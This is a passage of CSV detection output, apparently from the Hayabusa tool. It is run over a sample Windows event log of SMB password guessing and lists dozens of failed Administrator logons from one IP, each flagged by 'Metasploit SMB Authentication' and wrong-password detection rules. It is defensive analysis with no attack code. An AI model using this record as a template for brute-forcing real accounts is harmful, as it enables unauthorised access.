Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m8m9SJ1aFpvFqClU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.457 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.496 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dM84lQYVfHhZmgpK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.496 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.541 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O5FrdBbYXWaqFkeb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.541 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.588 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZxiNMjsd3YfoCNa2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.588 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.628 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v1u5uD9SiDFq9VOD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.628 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.675 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pZv9l3b7U8tIVmw8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.675 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.716 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7EfPqiBhm6hRX700 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.716 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.763 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3uvqgri2KGIDAlg1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.763 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oLXZMXKsjOaurgZV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.816 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nXtiRWHDJqpq69Ej : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.860 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.915 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OeC1T9YkT1hXMcGG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.915 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YPf6nlwAeuu7cf00 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.965 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4fvVUozD2RuIchN4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.008 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KP3rghcrgas3l3q1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.052 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.084 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MMtcQYoVoM57gTcj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.084 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.137 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IFjTWECEep09Abjt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.137 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.177 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jUlguy8tKBo4DSUR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.177 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GETwMERLpiVtMRkw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.212 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bhas9Vjc193EVcOg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.248 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OmVAnxq39t7qbcEs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.288 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.332 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 13y2nnltjipwZqth : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.332 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.369 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wDQrPBL1VodIcQLR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.369 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K0Mp4jXeHd3b0CLw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.417 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.472 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3j89GmIDnG4v7JJC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.472 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.512 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xyRLZMoaXJUrPPfn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.512 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.607 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZcoyOKUjEi1uCSpD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.607 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jWQGVJLcVwgf4YJ8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.648 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mrFqG85mmjTYJ4A9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.688 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6DqIh1QHTk470nrU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.728 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: feVbA94p6iT2pBeC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.774 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.804 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: T30YHcE8ZG7FaxW7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.804 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.847 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RaKHRwYtx2lGtOCG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.847 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zDEDuMmlDZZfdkFD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.935 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CObqGJQi1hOOI83J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.935 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.002 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EhsE9bQeEwW21bAj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.002 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.050 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: El1qxgjvGS0QSS4Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.050 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.097 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vtlr3HwzJcAfSxuO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.097 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.141 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KDayr44iXmE63vqd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.141 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.195 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FkNoLVOhnS8ayujK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.195 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3ggg78jjziKqijrT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.252 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.313 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BodeSVqeqa5qBQDL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.313 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.362 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yY7yxEcuGwWSJZV2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.362 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.406 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oTlg6cvsz6Z6QpCp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.406 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.460 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V3pTALzqu4Ok6CUR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.460 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.509 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kdGagQIEcvQQMp4n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.509 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.557 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fVu4reOyQEIkChHO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.557 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.609 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EJWNS69MmMGLSnHc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.609 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 